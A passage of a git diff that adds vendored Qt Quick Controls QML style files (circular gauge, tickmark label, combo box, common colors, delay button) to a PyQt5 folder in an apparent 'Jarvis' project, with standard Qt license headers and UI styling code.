readonly property int labelCount: control.__panel.circularTickmarkLabel.labelCount + + /*! \qmlmethod real CircularGaugeStyle::valueToAngle(real value) + Returns \a value as an angle in degrees. + + This function is useful for custom drawing or positioning of items in + the style's components. For example, it can be used to calculate the + angles at which to draw an arc around the gauge indicating the safe + area for the needle to be within. + + For example, if minimumValueAngle is set to \c 270 and + maximumValueAngle is set to \c 90, this function will return \c 270 + when passed minimumValue and \c 90 when passed maximumValue. + + \sa {Styling CircularGauge#styling-circulargauge-background}{ + Styling CircularGauge's background} + */ + function valueToAngle(value) { + return control.__panel.circularTickmarkLabel.valueToAngle(value); + } + + property QtObject __protectedScope: QtObject { + /*! + Converts a value expressed as a percentage of \l outerRadius to + a pixel value. + */ + function toPixels(percentageOfOuterRadius) { + return percentageOfOuterRadius * outerRadius; + } + } + + /*! + The background of the gauge. + + If set, the background determines the implicit size of the gauge. + + By default, there is no background defined. + + \sa {Styling CircularGauge#styling-circulargauge-background}{ + Styling CircularGauge's background} + */ + property Component background + + /*! + This component defines each individual tickmark. The position of each + tickmark is already set; only the + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight} need to be specified. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this tickmark. + \row \li \c {readonly property real} \b styleData.value + \li The value that this tickmark represents. + \endtable + + To illustrate what these properties refer to, we can use the following + example: + + \snippet circulargauge-tickmark-indices-values.qml tickmarks + + We've replaced the conventional \e line tickmarks with \l Text items + and have hidden the tickmarkLabel component in order to make the + association clearer: + + \image circulargauge-tickmark-indices-values.png Tickmarks + + The index property can be useful if you have another model that + contains images to display for each index, for example. + + The value property is useful for drawing lower and upper limits around + the gauge to indicate the recommended value ranges. For example, speeds + above 200 kilometers an hour in a car's speedometer could be indicated + as dangerous using this property. + + \sa {Styling CircularGauge#styling-circulargauge-tickmark}{ + Styling CircularGauge's tickmark} + */ + property Component tickmark: Rectangle { + implicitWidth: outerRadius * 0.02 + antialiasing: true + implicitHeight: outerRadius * 0.06 + color: "#c8c8c8" + } + + /*! + This component defines each individual minor tickmark. The position of + each minor tickmark is already set; only the + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight} need to be specified. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this tickmark. + \row \li \c {readonly property real} \b styleData.value + \li The value that this tickmark represents. + \endtable + + \sa {Styling CircularGauge#styling-circulargauge-minorTickmark}{ + Styling CircularGauge's minorTickmark} + */ + property Component minorTickmark: Rectangle { + implicitWidth: outerRadius * 0.01 + antialiasing: true + implicitHeight: outerRadius * 0.03 + color: "#c8c8c8" + } + + /*! + This defines the text of each tickmark label on the gauge. + + Each instance of this component has access to the following properties: + + \table + \row \li \c {readonly property int} \b styleData.index + \li The index of this label. + \row \li \c {readonly property real} \b styleData.value + \li The value that this label represents. + \endtable + + \sa {Styling CircularGauge#styling-circulargauge-tickmarkLabel}{ + Styling CircularGauge's tickmarkLabel} + */ + property Component tickmarkLabel: Text { + font.pixelSize: Math.max(6, __protectedScope.toPixels(0.12)) + text: styleData.value + color: "#c8c8c8" + antialiasing: true + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + /*! + The needle that points to the gauge's current value. + + This component is drawn below the \l foreground component. + + The style expects the needle to be pointing up at a rotation of \c 0, + in order for the rotation to be correct. For example: + + \image circulargauge-needle.png CircularGauge's needle + + When defining your own needle component, the only properties that the + style requires you to set are the + \l {Item::implicitWidth}{implicitWidth} and + \l {Item::implicitHeight}{implicitHeight}. + + Optionally, you can set \l {Item::x}{x} and \l {Item::y}{y} to change + the needle's transform origin. Setting the \c x position can be useful + for needle images where the needle is not centered exactly + horizontally. Setting the \c y position allows you to make the base of + the needle hang over the center of the gauge. + + \sa {Styling CircularGauge#styling-circulargauge-needle}{ + Styling CircularGauge's needle} + */ + property Component needle: Item { + implicitWidth: __protectedScope.toPixels(0.08) + implicitHeight: 0.9 * outerRadius + + Image { + anchors.fill: parent + source: "images/needle.png" + } + } + + /*! + The foreground of the gauge. This component is drawn above all others. + + Like \l background, the foreground component fills the entire gauge. + + By default, the knob of the gauge is defined here. + + \sa {Styling CircularGauge#styling-circulargauge-foreground}{ + Styling CircularGauge's foreground} + */ + property Component foreground: Item { + Image { + source: "images/knob.png" + anchors.centerIn: parent + scale: { + var idealHeight = __protectedScope.toPixels(0.2); + var originalImageHeight = sourceSize.height; + idealHeight / originalImageHeight; + } + } + } + + /*! \internal */ + property Component panel: Item { + id: panelItem + implicitWidth: backgroundLoader.item ? backgroundLoader.implicitWidth : TextSingleton.implicitHeight * 16 + implicitHeight: backgroundLoader.item ? backgroundLoader.implicitHeight : TextSingleton.implicitHeight * 16 + + property alias background: backgroundLoader.item + property alias circularTickmarkLabel: circularTickmarkLabel_ + + Loader { + id: backgroundLoader + sourceComponent: circularGaugeStyle.background + width: outerRadius * 2 + height: outerRadius * 2 + anchors.centerIn: parent + } + + CircularTickmarkLabel { + id: circularTickmarkLabel_ + anchors.fill: backgroundLoader + + minimumValue: control.minimumValue + maximumValue: control.maximumValue + stepSize: control.stepSize + tickmarksVisible: control.tickmarksVisible + minimumValueAngle: circularGaugeStyle.minimumValueAngle + maximumValueAngle: circularGaugeStyle.maximumValueAngle + tickmarkStepSize: circularGaugeStyle.tickmarkStepSize + tickmarkInset: circularGaugeStyle.tickmarkInset + minorTickmarkCount: circularGaugeStyle.minorTickmarkCount + minorTickmarkInset: circularGaugeStyle.minorTickmarkInset + labelInset: circularGaugeStyle.labelInset + labelStepSize: circularGaugeStyle.labelStepSize + + style: CircularTickmarkLabelStyle { + tickmark: circularGaugeStyle.tickmark + minorTickmark: circularGaugeStyle.minorTickmark + tickmarkLabel: circularGaugeStyle.tickmarkLabel + } + } + + Loader { + id: needleLoader + sourceComponent: circularGaugeStyle.needle + transform: [ + Rotation { + angle: needleRotation + origin.x: needleLoader.width / 2 + origin.y: needleLoader.height + }, + Translate { + x: panelItem.width / 2 - needleLoader.width / 2 + y: panelItem.height / 2 - needleLoader.height + } + ] + } + + Loader { + id: foreground + sourceComponent: circularGaugeStyle.foreground + anchors.fill: backgroundLoader + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularGaugeStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularGaugeStyle.qmlc new file mode 100644 index 00000000..4afb71df Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularGaugeStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularTickmarkLabelStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularTickmarkLabelStyle.qml new file mode 100644 index 00000000..494a7f28 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularTickmarkLabelStyle.qml @@ -0,0 +1,309 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Controls.Private 1.0 +import QtQuick.Extras.Private 1.0 +import QtQuick.Extras.Private.CppUtils 1.0 + +Style { + id: circularTickmarkLabelStyle + + /*! + The distance from the center of the control to the outer edge. + */ + readonly property real outerRadius: Math.min(control.width, control.height) * 0.5 + + property QtObject __protectedScope: QtObject { + /*! + Converts a value expressed as a percentage of \l outerRadius to + a pixel value. + */ + function toPixels(percentageOfOuterRadius) { + return percentageOfOuterRadius * outerRadius; + } + } + + /*! + This component defines each individual tickmark. The position of each + tickmark is already set; only the size needs to be specified. + */ + property Component tickmark: Rectangle { + width: outerRadius * 0.02 + antialiasing: true + height: outerRadius * 0.06 + color: "#c8c8c8" + } + + /*! + This component defines each individual minor tickmark. The position of + each minor tickmark is already set; only the size needs to be specified. + */ + property Component minorTickmark: Rectangle { + width: outerRadius * 0.01 + antialiasing: true + height: outerRadius * 0.03 + color: "#c8c8c8" + } + + /*! + This defines the text of each tickmark label on the gauge. + */ + property Component tickmarkLabel: Text { + font.pixelSize: Math.max(6, __protectedScope.toPixels(0.12)) + text: styleData.value + color: "#c8c8c8" + antialiasing: true + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + /*! \internal */ + property Component panel: Item { + id: panelItem + implicitWidth: 250 + implicitHeight: 250 + + function rangeUsed(count, stepSize) { + return (((count - 1) * stepSize) / (control.maximumValue - control.minimumValue)) * control.angleRange; + } + + readonly property real tickmarkSectionSize: rangeUsed(control.tickmarkCount, control.tickmarkStepSize) / (control.tickmarkCount - 1) + readonly property real tickmarkSectionValue: (control.maximumValue - control.minimumValue) / (control.tickmarkCount - 1) + readonly property real minorTickmarkSectionSize: tickmarkSectionSize / (control.minorTickmarkCount + 1) + readonly property real minorTickmarkSectionValue: tickmarkSectionValue / (control.minorTickmarkCount + 1) + readonly property int totalMinorTickmarkCount: { + // The size of each section within two major tickmarks, expressed as a percentage. + var minorSectionPercentage = 1 / (control.minorTickmarkCount + 1); + // The amount of major tickmarks not able to be displayed; will be 0 if they all fit. + var tickmarksNotDisplayed = control.__tickmarkCount - control.tickmarkCount; + var count = control.minorTickmarkCount * (control.tickmarkCount - 1); + // We'll try to display as many minor tickmarks as we can to fill up the space. + count + tickmarksNotDisplayed / minorSectionPercentage; + } + readonly property real labelSectionSize: rangeUsed(control.labelCount, control.labelStepSize) / (control.labelCount - 1) + + function toPixels(percentageOfOuterRadius) { + return percentageOfOuterRadius * outerRadius; + } + + /*! + Returns the angle of \a marker (in the range 0 ... n - 1, where n + is the amount of markers) on the gauge where sections are of size + tickmarkSectionSize. + */ + function tickmarkAngleFromIndex(tickmarkIndex) { + return tickmarkIndex * tickmarkSectionSize + control.minimumValueAngle; + } + + function labelAngleFromIndex(labelIndex) { + return labelIndex * labelSectionSize + control.minimumValueAngle; + } + + function labelPosFromIndex(index, labelWidth, labelHeight) { + return MathUtils.centerAlongCircle(outerRadius, outerRadius, labelWidth, labelHeight, + MathUtils.degToRadOffset(labelAngleFromIndex(index)), + outerRadius - control.labelInset) + } + + function minorTickmarkAngleFromIndex(minorTickmarkIndex) { + var baseAngle = tickmarkAngleFromIndex(Math.floor(minorTickmarkIndex / control.minorTickmarkCount)); + // + minorTickmarkSectionSize because we don't want the first minor tickmark to start on top of its "parent" tickmark. + var relativeMinorAngle = (minorTickmarkIndex % control.minorTickmarkCount * minorTickmarkSectionSize) + minorTickmarkSectionSize; + return baseAngle + relativeMinorAngle; + } + + function tickmarkValueFromIndex(majorIndex) { + return (majorIndex * tickmarkSectionValue) + control.minimumValue; + } + + function tickmarkValueFromMinorIndex(minorIndex) { + var majorIndex = Math.floor(minorIndex / control.minorTickmarkCount); + var relativeMinorIndex = minorIndex % control.minorTickmarkCount; + return tickmarkValueFromIndex(majorIndex) + ((relativeMinorIndex * minorTickmarkSectionValue) + minorTickmarkSectionValue); + } + + Loader { + active: control.tickmarksVisible && tickmark != null + width: outerRadius * 2 + height: outerRadius * 2 + anchors.centerIn: parent + + sourceComponent: Repeater { + id: tickmarkRepeater + model: control.tickmarkCount + delegate: Loader { + id: tickmarkLoader + objectName: "tickmark" + styleData.index + x: tickmarkRepeater.width / 2 + y: tickmarkRepeater.height / 2 + + transform: [ + Translate { + y: -outerRadius + control.tickmarkInset + }, + Rotation { + angle: panelItem.tickmarkAngleFromIndex(styleData.index) - __tickmarkWidthAsAngle / 2 + } + ] + + sourceComponent: tickmark + + property int __index: index + property QtObject styleData: QtObject { + readonly property alias index: tickmarkLoader.__index + readonly property real value: tickmarkValueFromIndex(index) + } + + readonly property real __tickmarkWidthAsAngle: MathUtils.radToDeg((width / (MathUtils.pi2 * outerRadius)) * MathUtils.pi2) + } + } + } + Loader { + active: control.tickmarksVisible && minorTickmark != null + width: outerRadius * 2 + height: outerRadius * 2 + anchors.centerIn: parent + + sourceComponent: Repeater { + id: minorRepeater + anchors.fill: parent + model: totalMinorTickmarkCount + delegate: Loader { + id: minorTickmarkLoader + objectName: "minorTickmark" + styleData.index + x: minorRepeater.width / 2 + y: minorRepeater.height / 2 + transform: [ + Translate { + y: -outerRadius + control.minorTickmarkInset + }, + Rotation { + angle: panelItem.minorTickmarkAngleFromIndex(styleData.index) - __minorTickmarkWidthAsAngle / 2 + } + ] + + sourceComponent: minorTickmark + + property int __index: index + property QtObject styleData: QtObject { + readonly property alias index: minorTickmarkLoader.__index + readonly property real value: tickmarkValueFromMinorIndex(index) + } + + readonly property real __minorTickmarkWidthAsAngle: MathUtils.radToDeg((width / (MathUtils.pi2 * outerRadius)) * MathUtils.pi2) + } + } + } + Loader { + id: labelLoader + active: control.tickmarksVisible && tickmarkLabel != null + width: outerRadius * 2 + height: outerRadius * 2 + anchors.centerIn: parent + + sourceComponent: Item { + id: labelItem + width: outerRadius * 2 + height: outerRadius * 2 + anchors.centerIn: parent + + Connections { + target: control + function onMinimumValueChanged() { valueTextModel.update() } + function onMaximumValueChanged() { valueTextModel.update() } + function onTickmarkStepSizeChanged() { valueTextModel.update() } + function onLabelStepSizeChanged() { valueTextModel.update() } + } + + Repeater { + id: labelItemRepeater + + Component.onCompleted: valueTextModel.update(); + + model: ListModel { + id: valueTextModel + + function update() { + if (control.labelStepSize === 0) { + return; + } + + // Make bigger if it's too small and vice versa. + // +1 because we want to show 11 values, with, for example: 0, 10, 20... 100. + var difference = control.labelCount - count; + if (difference > 0) { + for (; difference > 0; --difference) { + append({ value: 0 }); + } + } else if (difference < 0) { + for (; difference < 0; ++difference) { + remove(count - 1); + } + } + + var index = 0; + for (var value = control.minimumValue; + value <= control.maximumValue && index < count; + value += control.labelStepSize, ++index) { + setProperty(index, "value", value); + } + } + } + delegate: Loader { + id: tickmarkLabelDelegateLoader + objectName: "labelDelegateLoader" + index + sourceComponent: tickmarkLabel + x: pos.x + y: pos.y + + readonly property point pos: panelItem.labelPosFromIndex(index, width, height); + + readonly property int __index: index + readonly property real __value: value + property QtObject styleData: QtObject { + readonly property var value: index != -1 ? tickmarkLabelDelegateLoader.__value : 0 + readonly property alias index: tickmarkLabelDelegateLoader.__index + } + } + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularTickmarkLabelStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularTickmarkLabelStyle.qmlc new file mode 100644 index 00000000..ba7fd855 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CircularTickmarkLabelStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ComboBoxStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ComboBoxStyle.qml new file mode 100644 index 00000000..ea13696c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ComboBoxStyle.qml @@ -0,0 +1,328 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 +import QtQuick.Window 2.1 +import QtQuick.Controls 1.2 +import QtQuick.Controls.Styles 1.1 +import QtQuick.Controls.Private 1.0 + +/*! + \qmltype ComboBoxStyle + \inqmlmodule QtQuick.Controls.Styles + \since 5.1 + \ingroup controlsstyling + \brief Provides custom styling for ComboBox. +*/ + +Style { + id: cbStyle + + /*! + \qmlproperty enumeration renderType + \since QtQuick.Controls.Styles 1.2 + + Override the default rendering type for the control. + + Supported render types are: + \list + \li Text.QtRendering + \li Text.NativeRendering + \endlist + + The default value is platform dependent. + + \sa Text::renderType + */ + property int renderType: Settings.isMobile ? Text.QtRendering : Text.NativeRendering + + /*! + \since QtQuick.Controls.Styles 1.3 + The font of the control. + */ + property font font + + /*! + \since QtQuick.Controls.Styles 1.3 + The text color. + */ + property color textColor: SystemPaletteSingleton.text(control.enabled) + + /*! + \since QtQuick.Controls.Styles 1.3 + The text highlight color, used behind selections. + */ + property color selectionColor: SystemPaletteSingleton.highlight(control.enabled) + + /*! + \since QtQuick.Controls.Styles 1.3 + The highlighted text color, used in selections. + */ + property color selectedTextColor: SystemPaletteSingleton.highlightedText(control.enabled) + + /*! The \l ComboBox this style is attached to. */ + readonly property ComboBox control: __control + + /*! The padding between the background and the label components. */ + padding { top: 4 ; left: 6 ; right: 6 ; bottom:4 } + + /*! The size of the drop down button when the combobox is editable. */ + property int dropDownButtonWidth: Math.round(TextSingleton.implicitHeight) + + /*! \internal Alias kept for backwards compatibility with a spelling mistake in 5.2.0) */ + property alias drowDownButtonWidth: cbStyle.dropDownButtonWidth + + /*! This defines the background of the button. */ + property Component background: Item { + implicitWidth: Math.round(TextSingleton.implicitHeight * 4.5) + implicitHeight: Math.max(25, Math.round(TextSingleton.implicitHeight * 1.2)) + Rectangle { + anchors.fill: parent + anchors.bottomMargin: control.pressed ? 0 : -1 + color: "#10000000" + radius: baserect.radius + } + Rectangle { + id: baserect + gradient: Gradient { + GradientStop {color: control.pressed ? "#bababa" : "#fefefe" ; position: 0} + GradientStop {color: control.pressed ? "#ccc" : "#e3e3e3" ; position: 1} + } + radius: TextSingleton.implicitHeight * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + Rectangle { + anchors.fill: parent + radius: parent.radius + color: control.activeFocus ? "#47b" : "white" + opacity: control.hovered || control.activeFocus ? 0.1 : 0 + Behavior on opacity {NumberAnimation{ duration: 100 }} + } + } + Image { + id: imageItem + visible: control.menu !== null + source: "images/arrow-down.png" + anchors.verticalCenter: parent.verticalCenter + anchors.right: parent.right + anchors.rightMargin: dropDownButtonWidth / 2 + opacity: control.enabled ? 0.6 : 0.3 + } + } + + /*! \internal */ + property Component __editor: Item { + implicitWidth: 100 + implicitHeight: Math.max(25, Math.round(TextSingleton.implicitHeight * 1.2)) + clip: true + Rectangle { + anchors.fill: parent + anchors.bottomMargin: 0 + color: "#44ffffff" + radius: baserect.radius + } + Rectangle { + id: baserect + anchors.rightMargin: -radius + anchors.bottomMargin: 1 + gradient: Gradient { + GradientStop {color: "#e0e0e0" ; position: 0} + GradientStop {color: "#fff" ; position: 0.1} + GradientStop {color: "#fff" ; position: 1} + } + radius: TextSingleton.implicitHeight * 0.16 + anchors.fill: parent + border.color: control.activeFocus ? "#47b" : "#999" + } + Rectangle { + color: "#aaa" + anchors.bottomMargin: 2 + anchors.topMargin: 1 + anchors.right: parent.right + anchors.top: parent.top + anchors.bottom: parent.bottom + width: 1 + } + } + + /*! This defines the label of the button. */ + property Component label: Item { + implicitWidth: textitem.implicitWidth + 20 + baselineOffset: textitem.y + textitem.baselineOffset + Text { + id: textitem + anchors.left: parent.left + anchors.right: parent.right + anchors.leftMargin: 4 + anchors.rightMargin: 10 + anchors.verticalCenter: parent.verticalCenter + text: control.currentText + renderType: cbStyle.renderType + font: cbStyle.font + color: cbStyle.textColor + elide: Text.ElideRight + } + } + + /*! \internal */ + property Component panel: Item { + property bool popup: false + property font font: cbStyle.font + property color textColor: cbStyle.textColor + property color selectionColor: cbStyle.selectionColor + property color selectedTextColor: cbStyle.selectedTextColor + property int dropDownButtonWidth: cbStyle.dropDownButtonWidth + anchors.centerIn: parent + anchors.fill: parent + implicitWidth: backgroundLoader.implicitWidth + implicitHeight: Math.max(labelLoader.implicitHeight + padding.top + padding.bottom, backgroundLoader.implicitHeight) + baselineOffset: labelLoader.item ? padding.top + labelLoader.item.baselineOffset: 0 + + Loader { + id: backgroundLoader + anchors.fill: parent + sourceComponent: background + + } + + Loader { + id: editorLoader + anchors.fill: parent + anchors.rightMargin: dropDownButtonWidth + padding.right + anchors.bottomMargin: -1 + sourceComponent: control.editable ? __editor : null + } + + Loader { + id: labelLoader + sourceComponent: label + visible: !control.editable + anchors.fill: parent + anchors.leftMargin: padding.left + anchors.topMargin: padding.top + anchors.rightMargin: padding.right + anchors.bottomMargin: padding.bottom + } + } + + /*! \internal */ + property Component __dropDownStyle: MenuStyle { + font: cbStyle.font + __labelColor: cbStyle.textColor + __selectedLabelColor: cbStyle.selectedTextColor + __selectedBackgroundColor: cbStyle.selectionColor + __maxPopupHeight: 600 + __menuItemType: "comboboxitem" + __scrollerStyle: ScrollViewStyle { } + } + + /*! \internal */ + property Component __popupStyle: Style { + property int __maxPopupHeight: 400 + property int submenuOverlap: 0 + property int submenuPopupDelay: 100 + + property Component frame: Rectangle { + id: popupFrame + border.color: "white" + Text { + text: "NOT IMPLEMENTED" + color: "red" + font { + pixelSize: 10 + bold: true + } + anchors.centerIn: parent + rotation: -Math.atan2(popupFrame.height, popupFrame.width) * 180 / Math.PI + } + } + + property Component menuItemPanel: Text { + text: styleData.text + } + + property Component __scrollerStyle: null + } + + /*! \internal + The cursor handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the cursor position. The interactive area is determined by the + geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __cursorHandle + + /*! \internal + The selection handle. + \since QtQuick.Controls.Styles 1.3 + + The parent of the handle is positioned to the top left corner of + the first selected character. The interactive area is determined + by the geometry of the handle delegate. + + The following signals and read-only properties are available within the scope + of the handle delegate: + \table + \row \li \b {styleData.activated()} [signal] \li Emitted when the handle is activated ie. the editor is clicked. + \row \li \b {styleData.pressed} : bool \li Whether the handle is pressed. + \row \li \b {styleData.position} : int \li The character position of the handle. + \row \li \b {styleData.lineHeight} : real \li The height of the line the handle is on. + \row \li \b {styleData.hasSelection} : bool \li Whether the editor has selected text. + \endtable + */ + property Component __selectionHandle + + /*! \internal + The cursor delegate. + \since QtQuick.Controls.Styles 1.3 + */ + property Component __cursorDelegate +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ComboBoxStyle.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ComboBoxStyle.qmlc new file mode 100644 index 00000000..f0ea9645 Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/ComboBoxStyle.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CommonStyleHelper.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CommonStyleHelper.qml new file mode 100644 index 00000000..5deeb351 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CommonStyleHelper.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. Please review the following +** information to ensure the GNU General Public License requirements will +** be met: https://www.gnu.org/licenses/gpl-2.0.html and +** https://www.gnu.org/licenses/gpl-3.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.2 + +QtObject { + property Item control + + property color buttonColorUpTop: "#e3e3e3" + property color buttonColorUpBottom: "#b3b3b3" + property color buttonColorDownTop: "#d3d3d3" + property color buttonColorDownBottom: "#939393" + property color textColorUp: "#4e4e4e" + property color textColorDown: "#303030" + property color textRaisedColorUp: "#ffffff" + property color textRaisedColorDown: "#e3e3e3" + property color offColor: "#ff0000" + property color offColorShine: "#ff6666" + property color onColor: "#00cc00" + property color onColorShine: "#66ff66" + property color inactiveColor: "#1f1f1f" + property color inactiveColorShine: "#666666" +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CommonStyleHelper.qmlc b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CommonStyleHelper.qmlc new file mode 100644 index 00000000..c0ce2efc Binary files /dev/null and b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/CommonStyleHelper.qmlc differ diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DelayButtonStyle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DelayButtonStyle.qml new file mode 100644 index 00000000..00a1716a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls/Styles/Base/DelayButtonStyle.qml @@ -0,0 +1,230 @@ +/**************************************************************************** +** +** Copyright (C) 2016 The Qt Company Ltd. +** Contact: https://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Extras module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see https://www.qt.io/terms-conditions. For further +** information use the contact form at https://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl-3.0.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or (at your option) the GNU General +** Public license version 3 or any later version approved by the KDE Free +** Qt Foundation. The licenses are as published by the Free Software +** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 +** included in the packaging of this file. 